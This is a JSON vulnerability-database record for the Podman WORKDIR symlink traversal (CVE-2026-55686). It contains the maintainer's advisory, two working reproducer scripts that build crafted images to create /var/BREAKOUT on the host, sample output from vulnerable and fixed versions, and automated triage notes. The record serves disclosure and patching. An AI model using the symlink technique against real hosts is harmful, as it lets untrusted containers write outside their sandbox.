{"id":"CVE-2026-55686","kind":"vulnerability","aliases":["CVE-2026-55686","GHSA-q6r4-3wmg-fwcq"],"related":[],"title":"Podman: WORKDIR symlink traversal vulnerability","description":"### Summary\n\nRunning a malicous container image where the WORKDIR path contains a symlink can create a directory or modify ownership on the host filesystem. Modified ownership is less likely to happen as that requires help from an untrusted/malicious process that mutates the host filesystem tree during dereferencing of the WORKDIR path, to trigger a race condition.\n\n### Patch\n\nhttps://github.com/podman-container-tools/podman/commit/d18e44e9abb3bf5b7294aa70806e1368fdddfdd0\n\n### Details\n\nThis issue was fixed in podman 5.7.1 (git commit 7ce2e00ab140c11a68301f0b161f51984131a858)\n\n### PoC\n\nThe reproducer script _test1.bash_ demonstrates the vulnerability. \nThe directory  `/var/BREAKOUT` is created on the host.\nThe container process uses the container directory `/var/BREAKOUT` as current working directory.\n\nThe reproducer script _test2.bash_ demonstrates the same vulnerability. \nThe directory  `/var/BREAKOUT` is created on the host.\nThe container process uses the container directory `/usr/local` as current working directory.\n\nThe reproducer script _test2.bash_ shows that the working directory can be different from the breakout directory.\n\nReproducer **test1.bash**\n\n```\n#!/bin/bash\nset -o errexit\nset -o nounset\n\nif [ -e /var/BREAKOUT ]; then\n  echo error: path /var/BREAKOUT should not exist beforehand\n  exit 1\nfi\n\ndir=$(mktemp -d)\ncat > $dir/Containerfile << 'EOF'\nFROM docker.io/library/alpine\nRUN cd / && ln -s ../../../../../../../var symlink\nUSER 1234:1234\nWORKDIR /symlink/BREAKOUT\nCMD [\"/bin/sh\",\"-c\",\"echo current working directory: $(pwd)\"]\nEOF\n\npodman build -q --no-cache -t img $dir\npodman run --rm localhost/img\nls -ld /var/BREAKOUT\n```\n\n\nReproducer **test2.bash**\n\n```\n#!/bin/bash\nset -o errexit\nset -o nounset\n\nif [ -e /var/BREAKOUT ]; then\n  echo error: path /var/BREAKOUT should not exist beforehand\n  exit 1\nfi\n\ndir=$(mktemp -d)\ncat > $dir/Containerfile << 'EOF'\nFROM docker.io/library/alpine\nARG breakout_dirname=/var\nARG breakout_basename=BREAKOUT\nARG produce_pwd=/usr/local\nRUN mkdir -p /0/1/2/3 && \\\n    cd /0 && \\\n    ln -s 1/2/3 symlink1 && \\\n    mkdir -p /0/1/symlink2/${breakout_dirname} && \\\n    cd /0/1/symlink2/${breakout_dirname} && \\\n    ln -s ${produce_pwd} ${breakout_basename}\nRUN cd / && ln -s ../../../../../../.. symlink2\nUSER 1234:1234\nWORKDIR /0/symlink1/../../symlink2/${breakout_dirname}/${breakout_basename}\nCMD [\"/bin/sh\",\"-c\",\"echo current working directory: $(pwd)\"]\nEOF\n\npodman build -q --no-cache -t img $dir\npodman run --rm localhost/img\nls -ld /var/BREAKOUT\n```\n\n\n\nVulnerable:\n\npodman 5.7.0 using Fedora CoreOS 43.20251120.3.0\n\n```\nroot@localhost:~# bash test1.bash \n38c27b69c61941741f49c3f87b589b422391d5908659665cabf248934be0ed80\ncurrent working directory: /var/BREAKOUT\ndrwxr-xr-x. 2 1234 1234 6 May 29 19:28 /var/BREAKOUT\nroot@localhost:~# rmdir /var/BREAKOUT/\nroot@localhost:~# bash test2.bash \nc3390edbe393a3f3b182e60c5900cf93444b5120fbe34dc305478b3b77a106c9\ncurrent working directory: /usr/local\ndrwxr-xr-x. 2 1234 1234 6 May 29 19:28 /var/BREAKOUT\n```\n\nNot vulnerable:\n\npodman 5.7.1 using Fedora CoreOS 43.20260119.1.1\n\n```\nroot@localhost:~# bash test1.bash \n0229bf752a821d5b9bb8afcf4b94e8de2a4838798ae8065414b7f939b81d0788\ncurrent working directory: /var/BREAKOUT\nls: cannot access '/var/BREAKOUT': No such file or directory\nroot@localhost:~# bash test2.bash \n568584150a93a003feb8ae1985173bf50ced9cba4d52f9734cb70dc75eeb7c60\ncurrent working directory: /usr/local\nls: cannot access '/var/BREAKOUT': No such file or directory\n```\n\n### Credits\n\nWe like to thank Erik Sjölund (@eriksjolund) for reporting the security impact to us.","summary":"A malicious container image can use a symlink in its WORKDIR path to make Podman create a directory on the host filesystem outside the container. A race with a process that changes the host tree can also modify ownership of host paths.","severity":"medium","cvss":5.3,"epss":0.00403,"exploited":false,"exploited_at":null,"products":[{"name":"github.com/containers/podman/v5","fixed":["5.7.1"],"affected":"<= 5.7.0","ecosystem":"go"},{"name":"github.com/containers/podman/v4","fixed":[],"affected":"<= 4.9.5","ecosystem":"go"},{"name":"github.com/containers/podman/v3","fixed":[],"affected":"<= 3.4.7","ecosystem":"go"},{"name":"podman project podman","fixed":["5.7.1"],"affected":">= 3.0.0, < 5.7.1","ecosystem":"vendor"}],"ecosystems":["go","vendor"],"tags":["containers","cwe-59","cwe-61","fedora-coreos","linux","package","podman"],"not_affected_if":["podman-5.7.1-or-later","trusted-images-only"],"how_to_check":"- Check the Podman version with `podman --version`; versions up to `5.7.0` are affected in the 5.x line.\n- Check the Go module version of podman in your build with `go list -m github.com/containers/podman/v5` if you embed it.\n- Look for `/var/BREAKOUT`-style directories created by container runs if you pull untrusted images (reproducer in the advisory).","fix":"- podman v5: `5.7.1`\n- podman v4 and v3: unknown","status":"open","published_at":"2026-06-18T14:28:26+00:00","first_seen_at":"2026-11-03T19:55:32+00:00","triaged_at":"2026-11-03T19:55:40+00:00","updated_at":"2026-11-03T20:49:27+00:00","category":"package","confidence":0.7,"triage":{"at":"2026-11-03T19:55:40Z","model":"claude-haiku-5-5","output":{"fix":"- podman v5: `5.7.1`\n- podman v4 and v3: unknown","reach":"local","title":"Podman: malicious image WORKDIR symlink lets build create host directories","impact":"medium","summary":"A malicious container image can use a symlink in its WORKDIR path to make Podman create a directory on the host filesystem outside the container. A race with a process that changes the host tree can also modify ownership of host paths.","audience":"businesses","category":"package","nicknames":[],"who_cares":["podman","containers","linux","fedora-coreos"],"confidence":0.7,"fix_status":"available","needs_auth":"no","worst_case":"Host directories created and ownership changed outside the container","analyst_note":"Confirm the fixed version for podman v4 and v3 branches (sources list fixed as unknown) and whether a non-root user can trigger the escape via a pulled image.","how_to_check":"- Check the Podman version with `podman --version`; versions up to `5.7.0` are affected in the 5.x line.\n- Check the Go module version of podman in your build with `go list -m github.com/containers/podman/v5` if you embed it.\n- Look for `/var/BREAKOUT`-style directories created by container runs if you pull untrusted images (reproducer in the advisory).","plain_action":"","needs_analyst":true,"not_affected_if":["trusted-images-only","podman-5.7.1-or-later"],"who_is_affected":"Hosts that run Podman 5.7.0 or earlier and build or run container images from sources they do not fully trust. The advisory's reproducer needs a crafted image whose WORKDIR path goes through a symlink, so teams that only run images they build themselves from trusted sources are less exposed. Podman 4 and 3 are listed as affected by range but the sources give no fixed version for them.","user_interaction":"yes","needs_special_setup":"no","severity_if_unknown":"medium"},"cost_usd":0.000921,"input_tokens":5933,"output_tokens":656,"severity_before":"medium"},"analyst_status":null,"analyst_note":null,"search":"'-2026':7A,15A '-55686':8A,16A '-59':31B '-61':33B '/../../../../../..':370C '/../../../../../../var':263C '/0':346C '/0/1/2/3':344C '/0/1/symlink2':353C,357C '/0/symlink1/../../symlink2':376C '/bin/bash':227C,297C '/bin/sh':271C,382C '/containers/podman/v3':25A '/containers/podman/v4':22A '/containers/podman/v5':19A '/library/alpine':258C,328C '/podman-container-tools/podman/commit/d18e44e9abb3bf5b7294aa70806e1368fdddfdd0':141C '/symlink/breakout':269C '/usr/local':204C,340C,447C,495C '/var':332C '/var/breakout':163C,176C,191C,236C,241C,294C,306C,311C,405C,421C,434C,438C,460C,477C,481C,499C '0229bf752a821d5b9bb8afcf4b94e8de2a4838798ae8065414b7f939b81d0788':473C '1':247C,317C '1/2/3':349C '1234':266C,267C,373C,374C,427C,428C,453C,454C '19':432C,458C '2':426C,452C '28':433C,459C '29':431C,457C '38c27b69c61941741f49c3f87b589b422391d5908659665cabf248934be0ed80':417C '3wmg':12A '43.20251120.3.0':412C '43.20260119.1.1':468C '5.7.0':408C '5.7.1':149C,464C '568584150a93a003feb8ae1985173bf50ced9cba4d52f9734cb70dc75eeb7c60':491C '6':429C,455C '7ce2e00ab140c11a68301f0b161f51984131a858':152C 'access':480C,498C 'also':76B 'arg':329C,333C,337C 'basenam':335C,365C,380C 'bash':415C,441C,471C,489C 'beforehand':245C,315C 'breakout':223C,330C,334C,336C,354C,358C,364C,377C,379C 'build':280C,391C 'c':272C,383C 'c3390edbe393a3f3b182e60c5900cf93444b5120fbe34dc305478b3b77a106c9':443C 'cach':284C,395C 'cannot':479C,497C 'cat':252C,322C 'cd':260C,345C,356C,367C 'chang':71B 'cmd':270C,381C 'commit':151C 'condit':137C 'contain':29B,42B,64B,86C,92C,170C,174C,198C,202C 'coreo':36B,411C,467C 'creat':55B,96C,165C,193C 'credit':505C 'current':178C,206C,274C,385C,418C,444C,474C,492C 'cve':6A,14A 'cwe':30B,32B 'd':251C,321C 'demonstr':158C,185C 'dereferenc':128C 'detail':142C 'differ':220C 'dir':249C,287C,319C,398C 'dir/containerfile':253C,323C 'directori':57B,98C,162C,175C,180C,190C,203C,208C,217C,224C,276C,387C,420C,446C,476C,486C,494C,504C 'dirnam':331C,355C,359C,378C 'docker.io':257C,327C 'docker.io/library/alpine':256C,326C 'drwxr':423C,449C 'drwxr-xr-x':422C,448C 'e':235C,305C 'echo':238C,273C,308C,384C 'eof':254C,278C,324C,389C 'erik':510C 'eriksjolund':512C 'errexit':230C,300C 'error':239C,309C 'exist':244C,314C 'exit':246C,316C 'fedora':35B,410C,466C 'fedora-coreo':34B 'fi':248C,318C 'file':484C,502C 'filesystem':61B,105C,125C 'fix':146C 'fwcq':13A 'ghsa':10A 'ghsa-q6r4-3wmg-fwcq':9A 'git':150C 'github.com':18A,21A,24A,140C 'github.com/containers/podman/v3':23A 'github.com/containers/podman/v4':20A 'github.com/containers/podman/v5':17A 'github.com/podman-container-tools/podman/commit/d18e44e9abb3bf5b7294aa70806e1368fdddfdd0':139C 'happen':112C 'help':116C 'host':60B,73B,80B,104C,124C,168C,196C 'imag':43B,87C 'img':286C,397C 'impact':517C 'issu':144C 'ld':293C,404C 'less':109C 'like':110C,507C 'linux':37B 'ln':261C,347C,360C,368C 'localhost':414C,436C,440C,470C,488C 'localhost/img':291C,402C 'ls':292C,403C,478C,496C 'make':53B 'malic':85C 'malici':41B 'may':430C,456C 'mkdir':342C,351C 'mktemp':250C,320C 'modifi':77B,100C,106C 'mutat':122C 'no-cach':282C,393C 'nounset':233C,303C 'o':229C,232C,299C,302C 'outsid':62B 'ownership':78B,101C,107C 'p':343C,352C 'packag':38B 'patch':138C 'path':51B,81B,91C,132C,240C,310C 'poc':153C 'podman':1A,26A,28A,39B,54B,148C,279C,288C,390C,399C,407C,463C 'process':69B,120C,171C,199C 'produc':338C,362C 'project':27A 'pwd':277C,339C,363C,388C 'q':281C,392C 'q6r4':11A 'race':66B,136C 'report':514C 'reproduc':155C,182C,210C,225C,295C 'requir':115C 'rm':290C,401C 'rmdir':437C 'root':413C,435C,439C,469C,487C 'run':83C,259C,289C,341C,366C,400C 'script':156C,183C,211C 'secur':516C 'set':228C,231C,298C,301C 'show':213C 'sjölund':511C 'summari':82C 'symlink':3A,47B,94C,264C 'symlink1':350C 'symlink2':371C 'test1.bash':157C,226C,416C,472C 'test2.bash':184C,212C,296C,442C,490C 'thank':509C 'travers':4A 'tree':74B,126C 'trigger':134C 'untrusted/malicious':119C 'us':519C 'use':45B,172C,200C,409C,465C 'user':265C,372C 'vulner':5A,160C,188C,406C,462C 'work':179C,207C,216C,275C,386C,419C,445C,475C,493C 'workdir':2A,50B,90C,131C,268C,375C 'x':425C,451C 'xr':424C,450C","nicknames":[],"mitigations":[],"who_affected":"Hosts that run Podman 5.7.0 or earlier and build or run container images from sources they do not fully trust. The advisory's reproducer needs a crafted image whose WORKDIR path goes through a symlink, so teams that only run images they build themselves from trusted sources are less exposed. Podman 4 and 3 are listed as affected by range but the sources give no fixed version for them.","tier":"C","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"businesses","plain_action":null,"pkeys":["githubcomcontainerspodmanv3","githubcomcontainerspodmanv4","githubcomcontainerspodmanv5","podmanprojectpodman","projectpodman"],"ptokens":["com","containers","github","podman","project","v3","v4","v5"],"labels":["containers","cwe59","cwe61","fedoracoreos","go","linux","medium","package","podman","vendor"],"campaign_type":null,"first_public_at":"2026-06-17T16:22:45+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-q6r4-3wmg-fwcq","url":"https://github.com/advisories/GHSA-q6r4-3wmg-fwcq","severity":"medium","published_at":"2026-06-18T14:28:26+00:00","modified_at":"2026-11-03T19:52:27+00:00","first_seen_at":"2026-11-03T19:55:32+00:00","fetched_at":"2026-11-03T19:55:32+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-55686","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55686","severity":null,"published_at":"2026-06-26T17:16:34+00:00","modified_at":"2026-10-25T17:10:00+00:00","first_seen_at":"2026-11-03T20:49:27+00:00","fetched_at":"2026-11-03T20:49:27+00:00","note":null}],"documents":[{"id":60339,"url":"https://api.github.com/repos/podman-container-tools/podman/security-advisories/GHSA-q6r4-3wmg-fwcq","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":60340,"url":"https://github.com/podman-container-tools/podman/security/advisories/GHSA-q6r4-3wmg-fwcq","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":"2026-06-17T16:22:45+00:00","relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"},{"id":60341,"url":"https://github.com/podman-container-tools/podman/commit/7ce2e00ab140c11a68301f0b161f51984131a858","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":60342,"url":"https://github.com/podman-container-tools/podman/commit/d18e44e9abb3bf5b7294aa70806e1368fdddfdd0","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"}],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}